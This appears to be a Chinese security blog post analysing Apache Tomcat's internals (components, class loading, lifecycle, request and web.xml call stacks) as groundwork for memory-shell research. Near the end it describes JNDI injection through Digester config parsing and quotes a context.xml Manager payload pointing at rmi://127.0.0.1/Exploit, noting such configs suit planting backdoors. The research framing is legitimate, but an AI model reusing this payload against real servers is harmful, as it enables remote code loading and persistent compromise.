参考链接
https://www.jianshu.com/p/7c9401b85704?utm_campaign=haruki&utm_content=note&utm_medium=seo_notes&utm_source=recommendation
https://juejin.cn/post/6942094150216990757
这一篇是对从0到1寻找回显马的加强基础补充篇,地址在这里https://mp.weixin.qq.com/s/n3S0aUOsHvGLBebgUjYnIg
主要是通过分析平时能用上的各个组件,要求和结果是能完成对调试过程中调用栈各部分的功能做一个总结汇总。有考虑过分析tomcat的设计原理,但是目前没有转开发打算,所以先暂时搁置。还是以安全为主。同时如果有描述不当或者理解错误的地方欢迎指正出来。
tomcat功能分析
我们知道tomcat作为一个中间件,所以我们主要是让其实现web请求的处理。http协议的详情暂不讲述。简化一个请求过程大概如下
1.客户端(用户浏览器发起一个请求)
2.服务端(接受用户的请求,处理用户的请求)
3.服务端(返回请求的结果给客户端)
那么tomcat在其中应该扮演一个什么样的角色呢
(1)接受用户连接
(2)解析请求数据
(3)处理请求
(4)发送响应
Servlet 容器
上面我们最重要的明白了,就是先要获取一个http请求。而如果利用if case 去判断某种请求的类型,未免比较累赘,所以Servlet 容器就出现了。定义一个serlvet接口,处理请求的业务类都必须实现这个接口,而对于客户端不同的请求,需要利用不同的serlvet去处理,我们可以将所有的serlvet放在一个容器中,不同的请求让容器去交给不同的serlvet进行处理。大致结构如下
(1)客户端发送http请求
(2)serlvet接受http请求,一个方块代表一个serlvet,这里有两个
(3)容器选择不同的setlvet来发给业务层,让业务层来处理请求。其中业务层的方块代表一个业务类,都实现了serlvet接口。
ServletRequest:代表用户请求的信息
ServletResponse:代表setlvet处理后的结果对象封装
流程如下
(1)客户端发送http请求
(2)http服务器将请求用ServletRequest对象进行封装,交给Servlet容器
(3)Servlet容器根据URL和setlvet的映射关系,找到相同的serlvet
(4)Servlet处理请求,将结果封装在ServletResponse,服务器将响应发送给客户端。
web服务器
基于上面的分析,我们知道tomcat需要实现两点,也就是一个web容器的基础
(1)socket连接(进行通信,解析HTTP报文)
(2)setlvet容器(处理一系列的请求)
Tomcat组件设计
server:可以代表一个tomcat的实例,就是一个服务,可以有多个service。
service组件:组装了Connector和Container。
Connector :连接器,完成HTTP服务器功能(进行socket连接)
Container :容器,完成内部处理的功能(setlvet容器)
原因如下,一个容器相当于一个工厂,我们可能会拿不同的玩具进来加工(连接器),将两者组合在一起实现一个完整的功能,这个组合后的组件就叫做service组件。
tomcat架构体系
上面分析了tomcat的功能点,下面还会有更加详细的细分
1.server:tomcat服务器,居于最外层,每个tomcat有一个server
1.1service:tomcat服务,标准实现类为StandardService
1.1.1Connector:连接器,负责socket连接,负责处理接受的字节流,将其封装为Request
1.1.2 Container,tomcat容器,负责对数据进行进一步处理并转化为ServletRequest
1.1.2.1 Engine serlvet引擎,一个service包含一个 标准实现为StandardEngine
1.1.2.1.1 Host 虚拟主机 被包含在引擎中,可以有多个,标准实现为StandardHost
1.1.2.1.1.1 Context serlvet的context,代表了serlvt的运行基本环境,标准实现为StandardContext
1.1.2.1.1.1.1 Wrapper 代表一个setlvet,负责管理一个setlvet,标准实现为StandardWrapper
1.1.3 Jasper jsp会话引擎
1.1.4 Session 会话管理
下图server服务有点错,更改为services
Connector设计
核心功能
1.socket 通信,也就是网络编程(EndPoint 端点)
2.解析处理应用层协议,封装成一个 Request 对象(Processor 加工处理)
3.将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse(Adapter 转化器),因为setlvet只处理ServletRequest,而我们接受的是Request,所以需要转化器将Request转化为ServletRequest。
流程
(1)EndPoint 进行socket连接,提供字节流给Processor进行处理(传输层 socket)
(2)Processor 封装字节流数据为request数据,给Adapter(应用层 HTTP)
(3)Adapter 转化Request为ServletRequest
环境搭建
参照参考链接即可,最终结果如下
org.apache.catalina.startup.Bootstrap.main 主程序入口,关键步骤如下
(1)bootstrap.init(); 初始化
在内部,初始化了类加载器,然后反射加载了org.apache.catalina.startup.Catalina类,其中定义并加载了了配置文件conf/server.xml,其中初始化了三个类加载器
1.commonLoader(父类加载器)
2.catalinaLoader(子类加载器)
3.sharedLoader (子类加载器)
(2)daemon是我们上面初始化了类加载器后返回的对象
String command = "start";
daemon.setAwait(true);
daemon.load(args);
反射调用Catalina 的load()方法,Catalina 的load()方法中,file = configFile();读取了server.xml配置文件,调用getServer(){返回一个StandardServer对象},然后设置了一些基础目录,然后调用 server.init()对server组件进行了初始化。
daemon.start();
反射调用Catalina.start(),内部会实例化一个CatalinaShutdownHook(),他的内部调用Catalina.this.stop();来停止服务。
类加载机制
一 上面由于提到了类加载器,这里简单的提一下类加载机制,以及为什么需要多个类加载器
。原因其实也比较好理解,如果我们写了一个类,而当前的加载顺序中也存在这个相同的类,在加载的过程中,jvm如果选择了我们编写的类优先加载,那么就可能让程序崩溃或者出现一系列的安全问题。而oracle采用了双亲委派机制来加载类。
二 双亲委派机制:简单来理解就是通过父类向上委派,由顶级的类加载器来加载,如果找不到这个类,则选择当前的类加载器来加载,并将加载的类缓存起来。加载顺序如下
Java自带的核心类 -- 由启动类加载器加载
Java支持的可扩展类 -- 由扩展类加载器加载
我们自己编写的类 -- 默认由应用程序类加载器或其子类加载
三 特殊场景,比如说我们现在需要其他的方式来实现某个类,而如果按照双亲委派机制,我们需要将其他方式的实现类加载器放置到核心类中,而java提供了ContextClassLoader(上下文类加载器),来设置和获取第三方的类加载器(SPI机制)
public void setContextClassLoader(ClassLoader cl)
public ClassLoader getContextClassLoader()
四 tomcat的类加载机制 可以看
https://tomcat.apache.org/tomcat-9.0-doc/class-loader-howto.html
其中每个类加载器的用户如下
commonLoader:负责加载tomcat和web都复用的类
CatalinaLoader:负责加载tomcat专用的类
SharedLoader:负责加载web应用需要的类
JsperLoader:每个jsp页面一个类加载器。
其中子类的类加载器的类都是不共享的,也就是对于另外一个类加载器来说是封闭的,
五 tomcat WebApp类加载器
根据我们上面描述的tomcatweb分层来看,web应用应该是多个setlvet的集合,所以应该是context。我们看StandardContext,而经过下面的分析,一个组件进行初始化我们需要关注inti()和startInternal(),而init()一般是在父类初始化,这里我们就看看startInternal(),找到了如下代码
WebappLoader webappLoader = new WebappLoader(getParentClassLoader());
webappLoader.setDelegate(getDelegate());
setLoader(webappLoader);
比较简单 就是实例化一个WebappLoader,然后设置了WebappLoader为类加载器
初始化流程解析
(1)getServer().init() 其中getServer()返回一个StandardServer,由于StandardServer不存在init()方法,所以调用父类存在的init(),也就是LifecycleBase.init()
(2)内部调用initInternal() ,由于LifecycleBase是个抽象类,所以调用其子类实现的initInternal()方法,也就是StandardServer.initInternal()
(3) StandardServer.initInternal() 内部调用services[i].init(),对各个services组件进行了初始化
(4)services组件初始化会调用StandardService.initInternal()来完成,他的初始化如下
tomcat整体分散分析
(1)需要一个顶端的server,代表tomcat容器,也就是StandardServer。
(2)server包含多个service,所以StandardServer的initInternal()方法内部会进行service.init对各个组件进行初始化
(3)service内部包含engine,connector等组件,其中connector是连接器组件,内部会对protocolHandler进行初始化,AbstractProtocol会对endpoint进行初始化,来实现我们类似socket的功能。
这里多次出现了LifecycleBase,我们看看这个抽象类
其中他是我们前面分析几个关键组件的父类或者爷爷类了属于是
Lifecycle
它被统称为tomcat的组件管理周期,上面我们也说了,很多基本组件基本都是他的子类或者子孙类。它位于
org.apache.catalina.Lifecycle。方法提取出来如下。
LifecycleBase是Lifecycle的基本实现类,上面基本提到了这些。
初始化完成后,会调用start()开始运行容器,其实也就是反射调用Catalina.start(),然后其内部逐级
调用 getServer().start();
调用 LifecycleBase.startInternal();
调用 services[i].start();
开始一个web容器的启动。
最后来一张忘了在哪里看到的图片了
Container设计
类路径org.apache.catalina.Container,他是一个接口,其下由其下面的组件进行一层或者多重继承实现,如下面的图,我们可以从contains的层次结构来理解一些主要的方法
方法汇总
container //获取或者设置一个父容器 public Container getParent(); public void setParent(Container container); engine //获取或者设置一个Service getService(Container container) setService(Service service)
后面的可以自行分析去看,大同小异
总结
中间我们差不多把我们做安全需要关注的解决了,不做开发,所以对一些线程安全等没有说到,接下来我们用idea调试一个web服务器,从调用栈来分析tomcat的一个启动过程。
welcome:31, LoginController (com.test.controller) invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect) invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect) invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect) invoke:566, Method (java.lang.reflect) invoke:215, InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:132, InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:104, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandleMethod:743, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:672, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:82, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:919, DispatcherServlet (org.springframework.web.servlet) doService:851, DispatcherServlet (org.springframework.web.servlet) processRequest:953, FrameworkServlet (org.springframework.web.servlet) doGet:844, FrameworkServlet (org.springframework.web.servlet) service:622, HttpServlet (javax.servlet.http) service:829, FrameworkServlet (org.springframework.web.servlet) service:729, HttpServlet (javax.servlet.http) internalDoFilter:292, ApplicationFilterChain (org.apache.catalina.core) doFilter:207, ApplicationFilterChain (org.apache.catalina.core) doFilter:52, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core) doFilter:207, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:88, CharacterEncodingFilter (org.springframework.web.filter) doFilter:106, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core) doFilter:207, ApplicationFilterChain (org.apache.catalina.core) invoke:212, StandardWrapperValve (org.apache.catalina.core) invoke:94, StandardContextValve (org.apache.catalina.core) invoke:492, AuthenticatorBase (org.apache.catalina.authenticator) invoke:141, StandardHostValve (org.apache.catalina.core) invoke:80, ErrorReportValve (org.apache.catalina.valves) invoke:620, AbstractAccessLogValve (org.apache.catalina.valves) invoke:88, StandardEngineValve (org.apache.catalina.core) service:502, CoyoteAdapter (org.apache.catalina.connector) process:1152, AbstractHttp11Processor (org.apache.coyote.http11) process:684, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote) doRun:1539, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:1495, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) runWorker:1128, ThreadPoolExecutor (java.util.concurrent) run:628, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:829, Thread (java.lang
从下往上看
这一块主要是处理socket链接相关的,也就是endpoint相关的
doRun:1539, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:1495, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
这一块主要是处理对http请求的封装,生成了一个RequestGroupInfo对象来防止解析的http请求信息
process:1152, AbstractHttp11Processor (org.apache.coyote.http11)
process:684, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
这里提取了RequestGroupInfo的信息,分配给了Request,Response,出现了CoyoteAdapter,他的Connector属性也就是连接器中包含了请求的信息,在构造方法中进行了赋值。
service:502, CoyoteAdapter (org.apache.catalina.connector)
这一块和上面分析的tomcat组件相关,调用方式和tomcat的模式实现责任链有关系,有兴趣可以分析看看,经过这里的处理后,request就变成了ServletRequest,可以交给业务层进行进一步的处理。
invoke:212, StandardWrapperValve (org.apache.catalina.core)
invoke:94, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:141, StandardHostValve (org.apache.catalina.core)
invoke:80, ErrorReportValve (org.apache.catalina.valves)
invoke:620, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:88, StandardEngineValve (org.apache.catalina.core)
//这一块是tomcat的filter链式过滤处理
internalDoFilter:292, ApplicationFilterChain (org.apache.catalina.core)
doFilter:207, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core)
doFilter:207, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:88, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:106, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core)
doFilter:207, ApplicationFilterChain (org.apache.catalina.core)
//再向后就是交给springboot处理了。因为我这里是springboot启动的tomcat,不再继续分析,后续分析springboot处理的时候再说。
最后来看配置文件问题
web.xml
在我通篇寻找web.xml的时候在StandardContext里面发现了他的踪迹,保存在了watchedResources变量中。
这里就不头硬分析了,因为之前监听器的这一块没有好好分析,可以看参考文章
https://www.cnblogs.com/yy3b2007com/p/12272001.html
最终是调用到了ContextConfig#webConfig(),下个断点看看
这里会生成一个WebXmlParser来解析xml,然后调用getDefaultWebXmlFragment,其中会判断,如果web.xml没有存入不存在,则使用默认的web.xml,在conf路径下,这里还有一个contextWebXml的xml,也就是contextXml
中途跟调用栈有点麻烦我这里直接贴出来
startElement:1232, Digester (org.apache.tomcat.util.digester) startElement:509, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) scanStartElement:1364, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:1493, Digester (org.apache.tomcat.util.digester) parseWebXml:119, WebXmlParser (org.apache.tomcat.util.descriptor.web) getDefaultWebXmlFragment:1548, ContextConfig (org.apache.catalina.startup) webConfig:1112, ContextConfig (org.apache.catalina.startup) configureStart:777, ContextConfig (org.apache.catalina.startup) lifecycleEvent:300, ContextConfig (org.apache.catalina.startup) fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util) startInternal:5063, StandardContext (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) addChildInternal:743, ContainerBase (org.apache.catalina.core) addChild:719, ContainerBase (org.apache.catalina.core) addChild:705, StandardHost (org.apache.catalina.core) deployDirectory:1125, HostConfig (org.apache.catalina.startup) run:1859, HostConfig$DeployDirectory (org.apache.catalina.startup) call:511, Executors$RunnableAdapter (java.util.concurrent) run$$$capture:266, FutureTask (java.util.concurrent) run:-1, FutureTask (java.util.concurrent) - Async stack trace <init>:151, FutureTask (java.util.concurrent) newTaskFor:87, AbstractExecutorService (java.util.concurrent) submit:111, AbstractExecutorService (java.util.concurrent) deployDirectories:1037, HostConfig (org.apache.catalina.startup) deployApps:428, HostConfig (org.apache.catalina.startup) start:1568, HostConfig (org.apache.catalina.startup) lifecycleEvent:308, HostConfig (org.apache.catalina.startup) fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util) setStateInternal:423, LifecycleBase (org.apache.catalina.util) setState:366, LifecycleBase (org.apache.catalina.util) startInternal:952, ContainerBase (org.apache.catalina.core) startInternal:841, StandardHost (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) call:1412, ContainerBase$StartChild (org.apache.catalina.core) call:1402, ContainerBase$StartChild (org.apache.catalina.core) run$$$capture:266, FutureTask (java.util.concurrent) run:-1, FutureTask (java.util.concurrent) - Async stack trace <init>:132, FutureTask (java.util.concurrent) newTaskFor:102, AbstractExecutorService (java.util.concurrent) submit:133, AbstractExecutorService (java.util.concurrent) startInternal:924, ContainerBase (org.apache.catalina.core) startInternal:258, StandardEngine (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) startInternal:422, StandardService (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) startInternal:766, StandardServer (org.apache.catalina.core) start:183, LifecycleBase (org.apache.catalina.util) start:688, Catalina (org.apache.catalina.startup) invoke0:-2, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) start:344, Bootstrap (org.apache.catalina.startup) main:476, Bootstrap (org.apache.catalina.startup
我们就在Digester.下个断点startElement,前面会先解析web-app标签,现在来到了serlvet,这里就会对xml里面的标签进行解析
我们寻找begin方法,他是Rule接口实现的,我们寻找Run的实现类,在以下的类中发现了点有意思的东西
(1)SetPropertiesRule.begin() 会调用setProperty(top, name, value),setProperty里面会反射调用set方法开头的类。JNDI注入
(2)SetContextPropertiesRule类似SetPropertiesRule ,
(3)SetAllPropertiesRule类似SetPropertiesRule ,后面还有很多,可以继续跟进,我这里就看着三个
接下来我们就看看什么情况下会触发,下个断点直接开冲
server.xml的server,Lintener等可以触发
mbeans-descriptors.xml mbean等可以触发
后面调试太多了,就懒得看其他的了,直接来看一下效果
这种是会导致服务直接异常启动,所以不建议使用,后续本来想看看其他的,跟同伴分享的时候没想到在星球看到有师傅@Y4tacker之前已经提出来了,好久没逛看星球往期文章了,就去看了一下,Y4tacker师傅是在在contenx.xml进行了添加
<manager autocommit="true" classname="com.sun.rowset.JdbcRowSetImpl" datasourcename="rmi://127.0.0.1/Exploit"></manager>,这里就做个复现就好。配置文件的话最大的作用也就是留后门了,根据反射设值然后去做,也可以做到文件上传过落地。